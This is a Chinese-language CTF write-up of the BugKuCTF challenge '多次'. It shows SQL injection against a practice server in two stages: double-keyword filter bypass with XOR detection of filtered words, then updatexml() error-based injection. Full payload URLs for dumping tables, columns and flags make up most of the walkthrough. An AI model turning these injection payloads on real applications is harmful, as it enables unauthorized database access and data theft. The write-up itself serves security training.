多次 - BugKuCTF(SQL注入绕过)

多次 - BugKuCTF(SQL注入绕过)_第1张图片

登陆后发现页面没有啥信息,但是url地址栏?id=1 可能存在注入

id=1后面加单引号会报错,后面加--+注释返回正常,确定存在SQL注入

?id=1'or 1=1--+ 也报错,可能存在过滤

尝试双写绕过,?id=1'oorr 1=1--+ 返回正常

那如何检测哪些字符串被过滤了呢?新技能GET!

异或注入了解一下,两个条件相同(同真或同假)即为假

http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')!=0)--+

如果返回页面显示正常,那就证明length(‘union’)==0的,也就是union被过滤了

同理测试出被过滤的字符串有:and,or,union,select

都用双写来绕过,payload如下:

爆数据表 (注意:information里面也有or)

http://120.24.86.145:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+

多次 - BugKuCTF(SQL注入绕过)_第2张图片

爆字段

http://120.24.86.145:9004/1ndex.php?id=-1' ununionion seselectlect 1, group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+

多次 - BugKuCTF(SQL注入绕过)_第3张图片

爆数据

http://120.24.86.145:9004/1ndex.php?id=-1' ununionion seselectlect 1, group_concat(flag1) from flag1--+

多次 - BugKuCTF(SQL注入绕过)_第4张图片

提交flag显示错误,换个字段,爆address,得出下一关地址

多次 - BugKuCTF(SQL注入绕过)_第5张图片

进去又是一个SQL注入

多次 - BugKuCTF(SQL注入绕过)_第6张图片

大小写绕过pass,双写绕过pass

这里利用 updatexml() 函数报错注入

首先了解下updatexml()函数

UPDATEXML (XML_document, XPath_string, new_value); 

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 

第三个参数:new_value,String格式,替换查找到的符合条件的数据 

作用:改变文档中符合条件的节点的值

改变XML_document中符合XPATH_string的值

而我们的注入语句为:

updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

其中的 concat() 函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出

ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'

payload 如下

# 查数据表
http://120.24.86.145:9004/Once_More.php?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23


# 查字段
?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2'),'~'),3) %23


# 查数据
?id=1' and updatexml(1,concat('~',(select flag2 from flag2),'~'),3) %23

最后爆出 flag

 

你可能感兴趣的:(ctf)